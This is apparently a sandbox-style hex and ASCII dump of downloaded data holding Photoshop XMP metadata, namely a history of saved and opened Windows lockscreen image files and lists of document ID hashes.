61 67 65 73 2d 35 30 38 33 34 32 36 33 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 38 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
Data Ascii: 2062555_1920x1080.jpg saved&#xA;2017-03-27T12:07:07-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\
Windows\Servicing\CHOSEN\Round1\WindowsServicing_GettyImages-508342634_1920x1080.jpg saved&#xA;2017-03-
27T12:08:28-07:00&#x9;File C:\Users\v-lizagh\MS\Window

2022-05-13 14:42:07 UTC 3101 IN Data Raw: 36 38 31 39 30 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 34 2d 32 34 54 31 30 3a 34 34 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 6
9 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 61 79 5c 43 48 4f 53 45 4e 5c 52 41 57 53 5c 4d 49 54 2d 53 70 72 
69 6e 67 54 56 4d 6f 76 69 65 2d 4d 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 35 38 36 38 31 39 30 5f 31 39 
32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 34 54 31 30 3a 35 38 3a 
33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
Data Ascii: 68190_1920x1080.psd saved&#xA;2017-04-24T10:44:04-07:00&#x9;File C:\Users\v-lizagh\MS\Wi
ndows10\MomentsInTime\SpringEntertainment\May\CHOSEN\RAWS\MIT-SpringTVMovie-May_GettyImages-11586819
0_1920x1080.jpg saved&#xA;2017-04-24T10:58:37-07:00&#x9;File C:\Use
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2022-05-13 14:42:07 UTC 3133 IN Data Raw: 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 
70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 30 38 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5
c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 
32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 
Data Ascii: #xA;2017-05-15T14:48:49-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-05-
15T15:08:01-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_L
ockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5

2022-05-13 14:42:07 UTC 3157 IN Data Raw: 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 33 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 
4d 69 6b 61 69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 53 2d 4d 69 6b 61 69 6c 61 5f 47 65 74 74 79 49 6d 61 
67 65 73 2d 35 35 34 37 37 30 33 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 35 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 6b 61 
69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 53 2d 4d 69 
Data Ascii: 017-06-07T08:33:28-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mikaila\Chosen\Crops\MS-
Mikaila_GettyImages-554770339_1920x1080.jpg saved&#xA;2017-06-07T08:35:41-07:00&#x9;File C:\Users\v-lizagh\MS
\Windows10\Microsoft\Mikaila\Chosen\Crops\MS-Mi

2022-05-13 14:42:07 UTC 3212 IN Data Raw: 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 34 38 38 35 30 38 35 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 39 3a 31 38 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 7
0 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 70 33 34 33 6d 31 30 39 33 35 31 39 66 5f 31 3
9 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 39 3a 32 34 
3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 
Data Ascii: ows\Tips\Chosen\Windows10-Tips_GettyImages-488508586_1920x1080.jpg saved&#xA;2017-07-13T
19:18:07-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Tips\Chosen\Windows10-Tips_p343m10935
19f_1920x1080.psd saved&#xA;2017-07-13T19:24:26-07:00&#x9;File Wind

2022-05-13 14:42:07 UTC 3236 IN Data Raw: 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 35 34 37 32 31 36 39 5f 31 39 32 30 78 31 
30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 30 54 31 38 3a 30 30 3a 32 33 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 55 53 2d 4f 70 65 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 
5c 4d 49 54 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 31 34 30 34 31 39 39 30 5f 31 39 32 30 78 3
1 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 30 54 31 38 3a 30 30 3a 32 39 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: -USopen_GettyImages-695472169_1920x1080.jpg saved&#xA;2017-08-10T18:00:23-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MomentsInTime\US-Open\Chosen\Crops\MIT-USopen_GettyImages-814041990_
1920x1080.jpg saved&#xA;2017-08-10T18:00:29-07:00&#x9;File C:\Users

2022-05-13 14:42:07 UTC 3260 IN Data Raw: 52 65 63 6f 76 65 72 5c 5f 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 
30 37 32 37 37 33 39 5f 31 39 32 30 78 31 30 38 30 38 33 39 31 37 45 38 38 44 43 39 30 32 44 43 44 31 42 36 39 36 46 
30 42 41 42 41 30 43 35 42 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 
30 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 5c 43 
68 6f 73 65 6e 5c 43 72 6f 70 73 5c 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 2d 4e 6f 74 65 62 6f 6f 6b 5f 47 65 
74 74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 5f 31 39 32 
Data Ascii: Recover\_AcqReminders_GettyImages-170727739_1920x108083917E88DC902DCD1B696F0BA
BA0C5BB.psb saved&#xA;2017-08-29T16:08:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Heal
thyLifestyle\Chosen\Crops\HealthyLifestyle-Notebook_GettyImages-531607773_192

2022-05-13 14:42:07 UTC 3300 IN Data Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 
65 77 61 72 64 73 5c 43 61 6e 61 64 61 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 2d 43 
61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 33 35 31 31 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 37 54 31 30 3a 33 38 3a 33 31 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 4d 53 72 65 77 61 72 64 73 5c 43 61 6e 61 64 61 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 
64 73 2d 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 
Data Ascii: e C:\Users\v-lizagh\MS\Windows10\MSrewards\Canada\_CHOSEN\Crops\MSRewards-Canada_GettyImages-
108351154_1920x1080.jpg saved&#xA;2017-10-17T10:38:31-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrew
ards\Canada\_CHOSEN\Crops\MSRewards-Canada_GettyImages-10

2022-05-13 14:42:07 UTC 3332 IN Data Raw: 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 6c 61 63 6b 46 72 69 64 61 79 43 68 72 69 73 74 6d 61 73 53 68 
6f 70 70 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 
79 49 6d 61 67 65 73 2d 34 39 34 31 32 39 39 38 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 31 3a 33 32 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 5
4 69 6d 65 5c 42 6c 61 63 6b 46 72 69 64 61 79 43 68 72 69 73 74 6d 61 73 53 68 6f 70 70 69 6e 67 5c 43 48 4f 53 45 4e 
5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 
Data Ascii: MomentsInTime\BlackFridayChristmasShopping\CHOSEN\Crops\MIT-BlackFriday_GettyImages-4941
29980_1920x1080.jpg saved&#xA;2017-11-20T11:32:44-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Mome
ntsInTime\BlackFridayChristmasShopping\CHOSEN\Crops\MIT-BlackFriday

2022-05-13 14:42:07 UTC 3363 IN Data Raw: 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 
73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 
30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 
34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 38 54 31 30 3a 30 
35 3a 35 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 
6f 70 69 65 73 5c 43 6f 6d 70 53 63 69 45 64 57 65 65 6b 5c 43 48 
Data Ascii: gh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Lands
cape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-12-08T10:05:55-08:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Microsoft\Business-Philanthropies\CompSciEdWeek\CH
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2022-05-13 14:42:07 UTC 3451 IN Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 36 38 33 37 39 37 33 30 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 33 34 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 
6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 7
8 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 30 39 3a 30 37 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 
63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 
23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 30 39 3a 32 30 3a 31 
Data Ascii: ettyImages-683797301_1920x1080.jpg saved&#xA;2018-01-09T08:34:47-08:00&#x9;File C:\Users\v-lizagh\
MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2018-01-17T09:07:24-08:00&#x9;File Lockscr
een_1920x1080_Landscape.psd opened&#xA;2018-01-17T09:20:1

2022-05-13 14:42:07 UTC 3475 IN Data Raw: 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 32 54 31 36 3a 35 30 3a 32 39 2d 30 38 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 45 64 67 65 5c 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 6
5 2d 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5f 41 6c 61 6d 79 2d 45 52 38 45 58 44 5f 31 39 32 30 78 31 30 38 30 2e 
70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 32 54 31 36 3a 35 32 3a 32 35 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 45 64 67 65 5c 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5c 43 48 
Data Ascii:  saved&#xA;2018-02-12T16:50:29-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\VirginGalactic\C
HOSEN\Crops\Edge-VirginGalactic_Alamy-ER8EXD_1920x1080.psd saved&#xA;2018-02-12T16:52:25-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Edge\VirginGalactic\CH

2022-05-13 14:42:07 UTC 3538 IN Data Raw: 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 
46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 31 3a 
33 30 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 48 69 73 74 6f 72 79 
4d 6f 6e 74 68 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 6f 6d 65 6e 73 48 69 73 74 6f 72 
79 4d 6f 6e 74 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 38 33 36 33 30 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6
a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 
Data Ascii: 1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved&#xA;2018-02-28T11:30:07-08:00&#
x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensHistoryMonth\2018\CHOSEN\Crops\MIT-Womens
HistoryMonth_GettyImages-578363063_1920x1080.jpg saved&#xA;2018-02-

2022-05-13 14:42:07 UTC 3554 IN Data Raw: 30 34 41 41 37 34 45 38 32 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 35 42 30 46 39 
37 46 36 46 34 36 32 32 32 34 34 41 42 36 33 36 39 31 39 34 34 33 39 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 30 30 37 41 31 45 32 37 33 30 32 32 32 35 44 35 35 46 38 36 31 35 38 38 30 41 37 36 44 42 43 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 37 43 39 33 31 36 46 43 37 36 36 32 31 42 38 37 33 45 33 38 37 46 
30 43 39 31 34 32 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 38 30 32 31 31 36 42 38 41 44 36 
35 41 32 35 32 44 33 42 35 38 33 31 36 42 30 35 36 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 
38 35 31 44 45 45 32 37 39 37 35 31 45 34 37 38 31 34 46 36 32 34 43 37 
Data Ascii: 04AA74E822F</rdf:li> <rdf:li>005B0F97F6F4622244AB63691944397F</rdf:li> <rdf:li>007A1E27302225D55F8
615880A76DBC4</rdf:li> <rdf:li>007C9316FC76621B873E387F0C9142D7</rdf:li> <rdf:li>00802116B8AD65A252D
3B58316B05625</rdf:li> <rdf:li>00851DEE279751E47814F624C7

2022-05-13 14:42:07 UTC 3634 IN Data Raw: 34 30 37 34 36 38 31 31 45 44 36 36 38 37 41 42 46 46 37 41 37 43 38 41 34 45 44 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 30 44 37 46 31 36 34 37 35 34 37 34 31 36 31 31 36 41 36 45 44 36 44 39 30 43 37 45 34 32 
39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 31 30 43 31 31 46 44 37 38 39 37 36 46 30 43 35 
45 32 34 41 39 39 36 36 42 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 44 34 34 43 42 3
9 42 41 39 37 34 36 31 32 35 34 33 45 46 45 32 33 39 39 39 44 34 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 30 44 38 45 32 45 45 37 36 42 33 44 39 39 35 43 30 33 32 42 46 37 35 34 41 46 43 42 43 33 45 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 39 36 34 45 32 39 30 41 
Data Ascii: 40746811ED6687ABFF7A7C8A4ED</rdf:li> <rdf:li>0D7F1647547416116A6ED6D90C7E429C</rdf:li> <
rdf:li>0D810C11FD78976F0C5E24A9966BB702</rdf:li> <rdf:li>0D8D44CB9BA974612543EFE23999D4B4</rdf:li> <
rdf:li>0D8E2EE76B3D995C032BF754AFCBC3E7</rdf:li> <rdf:li>0D964E290A

2022-05-13 14:42:07 UTC 3721 IN Data Raw: 34 36 38 39 32 30 45 33 31 46 43 36 32 31 44 30 44 41 34 30 42 34 33 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 31 33 42 32 38 42 33 33 37 33 39 42 42 44 46 33 45 46 37 41 41 43 35 33 34 38 38 38 41 44 42 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 37 38 45 39 30 38 39 41 37 43 44 39 45 32 41 37 36 43 
39 38 32 34 41 34 45 30 39 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 41 36 30 44 35 32 34 3
2 41 45 34 36 45 36 33 36 43 38 31 34 36 33 31 37 36 44 45 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
31 33 43 39 44 38 30 33 43 39 31 45 33 41 41 38 46 37 46 33 36 32 32 35 46 36 31 36 31 45 30 45 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 43 45 38 31 46 32 42 37 42 34 
Data Ascii: 468920E31FC621D0DA40B436B</rdf:li> <rdf:li>13B28B33739BBDF3EF7AAC534888ADB4</rdf:li> <rd
f:li>13B78E9089A7CD9E2A76C9824A4E09FA</rdf:li> <rdf:li>13BA60D5242AE46E636C81463176DEA7</rdf:li> <rd
f:li>13C9D803C91E3AA8F7F36225F6161E0E</rdf:li> <rdf:li>13CE81F2B7B4

2022-05-13 14:42:07 UTC 3785 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 32 31 34 36 44 32 32 46 37 31 30 44 45 37 30 41 32 37 30 36 42 32 30 43 32 38 
44 39 43 36 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 35 44 35 44 44 42 42 33 46 34 33 45 43 
30 43 42 46 35 44 46 45 36 34 41 37 34 42 46 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 30 3
3 43 31 46 42 32 44 46 36 45 36 35 36 45 44 31 31 46 45 33 30 39 43 33 30 31 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 32 31 36 42 32 33 43 46 35 38 30 32 42 35 38 36 31 34 37 46 46 41 37 45 42 37 44 43 35 46 43 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 44 42 36 36 39 41 38 41 38 46 38 37 42 33 38 37 35 32 43 
35 38 38 31 37 45 35 32 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>2146D22F710DE70A2706B20C28D9C65B</rdf:li> <rdf:li>215D5DDBB3F43EC0CBF5DFE64A74B
F84</rdf:li> <rdf:li>21603C1FB2DF6E656ED11FE309C301D4</rdf:li> <rdf:li>216B23CF5802B586147FFA7EB7DC5
FCA</rdf:li> <rdf:li>216DB669A8A8F87B38752C58817E523C</rdf:li> <rdf

2022-05-13 14:42:07 UTC 3833 IN Data Raw: 3a 6c 69 3e 32 44 41 46 43 45 37 36 36 43 33 34 39 45 33 32 46 44 41 45 31 39 43 35 30 41 36 42 33 44 45 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 42 33 41 31 44 35 36 30 36 37 45 34 36 33 41 35 34 39 
44 30 46 42 33 46 43 30 43 35 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 44 35 30 46 30 39 45 3
4 44 36 46 39 38 46 41 30 32 30 41 32 36 38 37 41 36 35 37 31 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 32 44 45 37 38 41 44 37 35 45 33 43 37 45 35 30 43 35 35 31 39 33 43 44 38 41 31 32 44 31 46 37 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 46 35 46 43 46 32 30 31 31 37 41 35 43 34 35 41 44 34 35 45 45 42 42 31 41 
38 37 36 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 
Data Ascii: :li>2DAFCE766C349E32FDAE19C50A6B3DE3</rdf:li> <rdf:li>2DB3A1D56067E463A549D0FB3FC0C5A2</
rdf:li> <rdf:li>2DD50F09E4D6F98FA020A2687A657134</rdf:li> <rdf:li>2DE78AD75E3C7E50C55193CD8A12D1F7</
rdf:li> <rdf:li>2DF5FCF20117A5C45AD45EEBB1A876D3</rdf:li> <rdf:li>2
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2022-05-13 14:42:07 UTC 3896 IN Data Raw: 69 3e 33 33 43 33 42 33 41 30 43 35 43 37 44 44 33 32 44 44 32 45 38 44 37 33 41 33 30 41 37 34 38 45 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 43 44 45 39 45 35 44 41 30 44 37 30 39 31 38 30 36 34 36 45 41 
32 31 36 43 45 44 37 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 43 46 37 35 43 39 31 31 33 38 
42 36 43 37 31 41 39 33 46 46 44 39 32 45 37 45 31 32 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 3
3 44 46 42 42 46 36 34 31 38 35 46 37 37 31 41 36 31 33 30 31 35 30 43 44 34 43 42 35 43 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 33 33 45 30 33 46 34 35 37 32 43 46 30 42 44 46 36 31 39 38 36 36 30 44 35 35 32 41 38 
44 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 45 
Data Ascii: i>33C3B3A0C5C7DD32DD2E8D73A30A748E</rdf:li> <rdf:li>33CDE9E5DA0D709180646EA216CED70E</rd
f:li> <rdf:li>33CF75C91138B6C71A93FFD92E7E1288</rdf:li> <rdf:li>33DFBBF64185F771A6130150CD4CB5CC</rdf:li> 
<rdf:li>33E03F4572CF0BDF6198660D552A8D95</rdf:li> <rdf:li>33E

2022-05-13 14:42:07 UTC 3960 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 36 39 37 34 35 38 45 31 33 33 34 37 45 44 34 34 
45 32 45 39 41 39 36 37 31 32 34 44 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 36 44 46 37 30 
38 41 30 39 39 46 44 43 45 42 44 44 32 32 46 37 35 30 39 37 35 35 45 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 34 31 36 46 43 43 44 41 44 35 43 44 46 39 35 38 39 38 43 42 33 41 36 38 44 39 34 35 43 43 44 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 37 36 44 39 33 38 33 41 45 44 45 43 30 45 45 45 35 30 45 32 30 38 
